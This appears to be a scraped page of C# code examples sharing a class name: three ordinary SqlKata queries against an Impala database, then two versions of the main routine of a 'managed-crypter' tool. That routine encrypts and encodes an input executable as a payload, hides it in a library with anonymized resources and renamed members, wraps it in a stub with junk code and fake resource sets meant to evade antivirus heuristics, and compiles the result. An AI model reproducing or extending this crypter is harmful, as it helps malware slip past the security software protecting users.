Beispiel #1
0
        /// <summary>
        ///  基础过滤,聚合,条件判断sql生成
        /// </summary>
        /// <returns></returns>
        private static QueryFactory ODBCQueryFactory1()
        {
            var compiler   = new GenericCompiler();
            var connection = new OdbcConnection(
                "Driver=Cloudera ODBC Driver for Impala;Host=10.201.82.170;Port=21050;Schema=eap_1"
                );
            var db = new QueryFactory(connection, compiler);

            // CommonQuery传递的前端参数转换为 sql字段
            var queryDto = new CommonQuery
            {
                Columns = new List <string> {
                    "ss", "ss"
                },
                GroupBys = new List <string> {
                    "s_event_name"
                },
            };

            var query = db.Query("event_today").Where("s_event_name", "s_app_launch").OrWhere("s_event_name", "s_app_show").GroupBy("s_event_name")
                        .Select("s_event_name", "count(*) as CC");               // .OrWhere("s_event_name", "s_page_show").
            var sql = compiler.Compile(query);

            // var res = db.Statement(sql.ToString());   // 这玩意返回的是受影响的行数,select 始终返回-1,我们不会更新数据库,所以这个方法我们不用。
            var result = query.Get <ResultEntity>();

            foreach (var s  in result)
            {
                var ssss = s;
            }

            //var dr = new DataResult
            //{
            //    Headers = result.
            //};

            db.Logger = rs =>
            {
                Console.WriteLine(rs.ToString());
            };
            return(db);
        }
Beispiel #2
0
        /// <summary>
        /// 直接传递sql,返回rawdata
        /// </summary>
        /// <returns></returns>
        private static QueryFactory ODBCQueryFactory2()
        {
            var compiler   = new GenericCompiler();
            var connection = new OdbcConnection(
                "Driver=Cloudera ODBC Driver for Impala;Host=10.201.82.170;Port=21050;Schema=eap_1"
                );

            var db = new QueryFactory(connection, compiler);

            var result = db.Select("select s_event_name,count(*)  as cx from event_today where  s_event_name=? group by s_event_name",
                                   new Dictionary <string, object> {
                { "?0", "s_app_launch" },
            }
                                   );

            db.Logger = rs =>
            {
                Console.WriteLine(rs.ToString());
            };
            return(db);
        }
Beispiel #3
0
        /// <summary>
        /// 支持CTE
        /// </summary>
        /// <returns></returns>
        private static QueryFactory ODBCQueryFactory4()
        {
            var compiler   = new GenericCompiler();
            var connection = new OdbcConnection(
                "Driver=Cloudera ODBC Driver for Impala;Host=10.201.82.170;Port=21050;Schema=eap_1"
                );

            var db = new QueryFactory(connection, compiler);

            var init_event = new Query("event_today")
                             .Select("s_final_user_id", "s_brand", "s_day")
                             .Where("s_event_name", "s_app_launch").WhereBetween("s_day", 20200520, 20200526);

            var second_event = new Query("event_today")
                               .With("init_event", init_event) // now you can consider ActivePosts as a regular table in the database
                               .Join("init_event", "init_event.s_final_user_id", "event_today.s_final_user_id")
                               .Where("s_event_name", "s_app_show")
                               .GroupByRaw("s_final_user_id,intervalDays,s_brand")
                               .SelectRaw("event_today.s_final_user_id,event_today.s_brand,(event_today.s_day-init_event.s_day) as intervalDays");

            var query = db.Query("second_event")
                        .With("second_event", second_event)
                        .GroupByRaw("s_brand,intervalDays")
                        .SelectRaw("s_brand,intervalDays,count( DISTINCT s_final_user_id),count(*) as  times,count (*) over()  as totalCount ");

            var sql = compiler.Compile(query);

            var ss     = db.Select(sql.ToString());
            var result = query.Get();

            db.Logger = rs =>
            {
                Console.WriteLine(rs.ToString());
            };
            return(db);
        }
        static void Main(string[] args)
        {
            GenericFile      cFile      = null; /* file to crypt */
            GenericFile      lFile      = null; /* lib */
            GenericDirectory sDirectory = null; /* stub directory */
            GenericDirectory lDirectory = null; /* lib directory */

            cFile      = new GenericFile("C:\\Users\\Admin\\Desktop\\bintext.exe", true);
            sDirectory = new GenericDirectory(@"C:\Users\admin\Desktop\managed-crypter\managedcrypter\stub");
            lDirectory = new GenericDirectory(@"C:\Users\admin\Desktop\managed-crypter\managedcrypter\lib");

            /* compress -> xor -> b64 our input file */
            cFile.EncryptData();
            cFile.EncodeData();

            Console.WriteLine("Sanity Check Exe: {0}", cFile.SanityCheck());

            Console.WriteLine("Stub Directory: {0}", sDirectory.DirectoryPath);

            foreach (string stubFile in sDirectory.Source.Files.Values)
            {
                Console.WriteLine("Stub File: {0}", stubFile);
            }

            Console.WriteLine("Lib Directory: {0}", lDirectory.DirectoryPath);

            foreach (string libFile in lDirectory.Source.Files.Values)
            {
                Console.WriteLine("Lib File: {0}", libFile);
            }


            /* initialize both workspace */
            sDirectory.CreateWorkspaceDirectory();
            lDirectory.CreateWorkspaceDirectory();

            #region Library Workspace

            /***************************/
            /* begin library workspace */
            /***************************/

            /* init lib workspace */
            var lWorkspace = lDirectory.Workspace;

            lWorkspace.AddChild("lib");
            lWorkspace.AddChild("payload");
            lWorkspace.AddChild("keyfile_payload");

            lWorkspace.AnonymizeChildren();

            /* write resources of lib */
            lWorkspace.WriteAnonymous(lWorkspace.AnonymousChildren["keyfile_payload"], cFile.EncryptionKey);
            lWorkspace.WriteAnonymous(lWorkspace.AnonymousChildren["payload"], cFile.EncodedData);

            /* replace anonymous resource names in library*/
            {
                Utils.ReplaceStringInFile(
                    lDirectory.Source.Files["ResourceGetter"],
                    StringConstants.STR_PAYLOAD_KEY,
                    lWorkspace.AnonymousChildren["keyfile_payload"]);

                Utils.ReplaceStringInFile(
                    lDirectory.Source.Files["ResourceGetter"],
                    StringConstants.STR_PAYLOAD_NAME,
                    lWorkspace.AnonymousChildren["payload"]);
            }

            Console.ReadLine();

            /* compile our library */
            using (GenericCompiler lCompiler = new GenericCompiler())
            {
                CompilerInfo cInfo = new CompilerInfo();
                cInfo.GenerateLibrary   = true;
                cInfo.OutputDestination = lWorkspace.Children["lib"];
                cInfo.EmbeddedResources.AddRange(Directory.GetFiles(lWorkspace.Parent));
                cInfo.ExCompilerOptions.Add("/unsafe");

                if (lCompiler.CompileSource(lDirectory, cInfo))
                {
                    Console.WriteLine("Successfully compiled library!");
                    lFile = new GenericFile(cInfo.OutputDestination, false);
                }
            }

            /***************************/
            /* end library workspace */
            /***************************/

            #endregion

            #region Stub Workspace

            /***************************/
            /*   begin stub workspace  */
            /***************************/

            /* init stub workspace */
            var sWorkspace = sDirectory.Workspace;
            sWorkspace.AddChild("keyfile_lib");
            sWorkspace.AddChild("lib");

            // do some renaming in our library
            sWorkspace.Write("lib", lFile.OriginalFileData);
            MemberRenamer.RenameMembers(sWorkspace.Children["lib"], sDirectory.Source.Files["stub_class"]);
            lFile = new GenericFile(sWorkspace.Children["lib"], false);

            sWorkspace.AnonymizeChildren();

            /* encrypt our library */
            lFile.EncryptData();
            lFile.EncodeData();

            Console.WriteLine("Sanity Check Lib: {0}", lFile.SanityCheck());

            sWorkspace.WriteAnonymous(sWorkspace.AnonymousChildren["keyfile_lib"], lFile.EncryptionKey);
            sWorkspace.WriteAnonymous(sWorkspace.AnonymousChildren["lib"], lFile.EncodedData);

            /* replace anonymous resource names in stub */
            {
                Utils.ReplaceStringInFile(
                    sDirectory.Source.Files["GetKeyFile"],
                    StringConstants.STR_LIBRARY_KEY,
                    sWorkspace.AnonymousChildren["keyfile_lib"]);

                Utils.ReplaceStringInFile(
                    sDirectory.Source.Files["GetLib"],
                    StringConstants.STR_LIBRARY_NAME,
                    sWorkspace.AnonymousChildren["lib"]);
            }

            /* primitive usg */
            {
                //StringBuilder sb = new StringBuilder();
                //MethodGen mtdGen = new MethodGen();

                //for (int i = 0; i < 20; i++)
                //    sb.AppendLine(mtdGen.RandMethod());

                //Utils.ReplaceStringInFile(
                //    sDirectory.Source.Files["stub_class"],
                //    StringConstants.STR_JUNK,
                //    sb.ToString());

                Utils.ReplaceJunkInSource(sDirectory.Source.Files["stub_class"]);
            }


            Console.ReadLine();

            /* compile our stub */
            using (GenericCompiler sCompiler = new GenericCompiler())
            {
                CompilerInfo cInfo = new CompilerInfo();
                cInfo.GenerateExe = true;
                cInfo.EmbeddedResources.AddRange(Directory.GetFiles(sWorkspace.Parent));
                cInfo.OutputDestination = Path.Combine(
                    Environment.GetFolderPath(Environment.SpecialFolder.Desktop),
                    "TestFile.exe");

                /* usg */
                {
                    string root = @"C:\Windows\Microsoft.NET\Framework\v2.0.50727";

                    List <Assembly> asms = new List <Assembly>();
                    asms.Add(Assembly.LoadFrom(Path.Combine(root, "mscorlib.dll")));
                    asms.Add(Assembly.LoadFrom(Path.Combine(root, "System.dll")));
                    asms.Add(Assembly.LoadFrom(Path.Combine(root, "System.Windows.Forms.dll")));
                    asms.Add(Assembly.LoadFrom(Path.Combine(root, "System.Configuration.dll")));
                    asms.Add(Assembly.LoadFrom(Path.Combine(root, "System.Xml.dll")));
                    asms.Add(Assembly.LoadFrom(Path.Combine(root, "System.Drawing.dll")));
                    asms.Add(Assembly.LoadFrom(Path.Combine(root, "System.Deployment.dll")));
                    asms.Add(Assembly.LoadFrom(Path.Combine(root, "System.Security.dll")));
                    asms.Add(Assembly.LoadFrom(Path.Combine(root, "Accessibility.dll")));

                    List <Assembly> asms2 = new List <Assembly>();

                    foreach (var a in asms)
                    {
                        foreach (var asmRef in a.GetReferencedAssemblies())
                        {
                            asms2.Add(Assembly.LoadFrom(Path.Combine(root, string.Concat(asmRef.Name, ".dll"))));
                        }
                    }

                    asms2 = asms.Distinct().ToList();

                    foreach (var a in asms2)
                    {
                        cInfo.ReferencedAssemblies.Add(string.Concat(a.GetName().Name, ".dll"));
                    }
                }

                cInfo.ExCompilerOptions.Add("/nowarn:618");

                if (sCompiler.CompileSource(sDirectory, cInfo))
                {
                    Console.WriteLine("Successfully compiled stub!");
                }

                // MemberRenamer.RenameMembers(cInfo.OutputDestination);


                ResourceGen.CreateHeurAcceleratorSet(cInfo.OutputDestination);
                ResourceGen.CreateHeurDialogSet(cInfo.OutputDestination);
                ResourceGen.CreateHeurMenuSet(cInfo.OutputDestination);
                ResourceGen.CreateHeurStringSet(cInfo.OutputDestination);
            }

            /***************************/
            /*   end stub workspace    */
            /***************************/

            #endregion

            Console.ReadLine();

            sDirectory.Source.Clean();
            lDirectory.Source.Clean();

            sWorkspace.Clear();
            lWorkspace.Clear();
        }
Beispiel #5
0
        static void Main(string[] args)
        {
            //MethodGen mtdGen = new MethodGen();

            //StringBuilder sb = new StringBuilder();

            //for (int i = 0; i < 10; i++)
            //{
            //    sb.AppendLine(mtdGen.RandMethod());
            //}

            //File.WriteAllText("C:\\Users\\Admin\\Desktop\\Method.txt", sb.ToString());

            //Debugger.Break();

            GenericFile      cFile      = null; /* file to crypt */
            GenericFile      lFile      = null; /* lib */
            GenericDirectory sDirectory = null; /* stub directory */
            GenericDirectory lDirectory = null; /* lib directory */

            cFile      = new GenericFile("C:\\Users\\Admin\\Desktop\\Bintext.exe");
            sDirectory = new GenericDirectory(@"C:\Users\admin\Desktop\managed-crypter\managedcrypter\stub");
            lDirectory = new GenericDirectory(@"C:\Users\admin\Desktop\managed-crypter\managedcrypter\lib");

            /* xor -> b64 our input file */
            cFile.EncryptData();
            cFile.EncodeData();

            Console.WriteLine("Sanity Check Exe: {0}", cFile.SanityCheck());

            Console.WriteLine("Stub Directory: {0}", sDirectory.DirectoryPath);

            foreach (string stubFile in sDirectory.Source.Files.Values)
            {
                Console.WriteLine("Stub File: {0}", stubFile);
            }

            Console.WriteLine("Lib Directory: {0}", lDirectory.DirectoryPath);

            foreach (string libFile in lDirectory.Source.Files.Values)
            {
                Console.WriteLine("Lib File: {0}", libFile);
            }


            /* initialize both workspace */
            sDirectory.CreateWorkspaceDirectory();
            lDirectory.CreateWorkspaceDirectory();

            #region Library Workspace

            /***************************/
            /* begin library workspace */
            /***************************/

            /* init lib workspace */
            var lWorkspace = lDirectory.Workspace;

            lWorkspace.AddChild("lib");
            lWorkspace.AddChild("payload");
            lWorkspace.AddChild("keyfile_payload");

            lWorkspace.AnonymizeChildren();

            /* write resources of lib */
            lWorkspace.WriteAnonymous(lWorkspace.AnonymousChildren["keyfile_payload"], cFile.EncryptionKey);
            lWorkspace.WriteAnonymous(lWorkspace.AnonymousChildren["payload"], cFile.EncodedData);

            /* replace anonymous resource names in library*/
            {
                Utils.ReplaceStringInFile(
                    lDirectory.Source.Files["ResourceGetter"],
                    StringConstants.STR_PAYLOAD_KEY,
                    lWorkspace.AnonymousChildren["keyfile_payload"]);

                Utils.ReplaceStringInFile(
                    lDirectory.Source.Files["ResourceGetter"],
                    StringConstants.STR_PAYLOAD_NAME,
                    lWorkspace.AnonymousChildren["payload"]);
            }

            Console.ReadLine();

            /* compile our library */
            using (GenericCompiler lCompiler = new GenericCompiler())
            {
                CompilerInfo cInfo = new CompilerInfo();
                cInfo.GenerateLibrary   = true;
                cInfo.OutputDestination = lWorkspace.Children["lib"];
                cInfo.EmbeddedResources.AddRange(Directory.GetFiles(lWorkspace.Parent));
                cInfo.ExCompilerOptions.Add("/unsafe");

                if (lCompiler.CompileSource(lDirectory, cInfo))
                {
                    Console.WriteLine("Successfully compiled library!");
                    lFile = new GenericFile(cInfo.OutputDestination);
                }
            }

            /***************************/
            /* end library workspace */
            /***************************/

            #endregion

            #region Stub Workspace

            /***************************/
            /*   begin stub workspace  */
            /***************************/

            /* init stub workspace */
            var sWorkspace = sDirectory.Workspace;
            sWorkspace.AddChild("keyfile_lib");
            sWorkspace.AddChild("lib");

            sWorkspace.AnonymizeChildren();

            /* encrypt our library */
            lFile.EncryptData();
            lFile.EncodeData();

            Console.WriteLine("Sanity Check Lib: {0}", lFile.SanityCheck());

            sWorkspace.WriteAnonymous(sWorkspace.AnonymousChildren["keyfile_lib"], lFile.EncryptionKey);
            sWorkspace.WriteAnonymous(sWorkspace.AnonymousChildren["lib"], lFile.EncodedData);

            /* replace anonymous resource names in stub */
            {
                Utils.ReplaceStringInFile(
                    sDirectory.Source.Files["GetKeyFile"],
                    StringConstants.STR_LIBRARY_KEY,
                    sWorkspace.AnonymousChildren["keyfile_lib"]);

                Utils.ReplaceStringInFile(
                    sDirectory.Source.Files["GetLib"],
                    StringConstants.STR_LIBRARY_NAME,
                    sWorkspace.AnonymousChildren["lib"]);
            }

            Console.ReadLine();

            /* compile our stub */
            using (GenericCompiler sCompiler = new GenericCompiler())
            {
                CompilerInfo cInfo = new CompilerInfo();
                cInfo.GenerateExe = true;
                cInfo.EmbeddedResources.AddRange(Directory.GetFiles(sWorkspace.Parent));
                cInfo.OutputDestination = Path.Combine(
                    Environment.GetFolderPath(Environment.SpecialFolder.Desktop),
                    "TestFile.exe");

                /* usg */
                cInfo.ReferencedAssemblies.Add("System.Data.dll");
                cInfo.ReferencedAssemblies.Add("System.Windows.Forms.dll");
                cInfo.ReferencedAssemblies.Add("System.Web.dll");
                cInfo.ReferencedAssemblies.Add("System.Configuration.dll");
                cInfo.ReferencedAssemblies.Add("System.Xml.dll");

                if (sCompiler.CompileSource(sDirectory, cInfo))
                {
                    Console.WriteLine("Successfully compiled stub!");
                }
            }

            /***************************/
            /*   end stub workspace    */
            /***************************/

            #endregion

            Console.ReadLine();

            sDirectory.Source.Clean();
            lDirectory.Source.Clean();

            sWorkspace.Clear();
            lWorkspace.Clear();
        }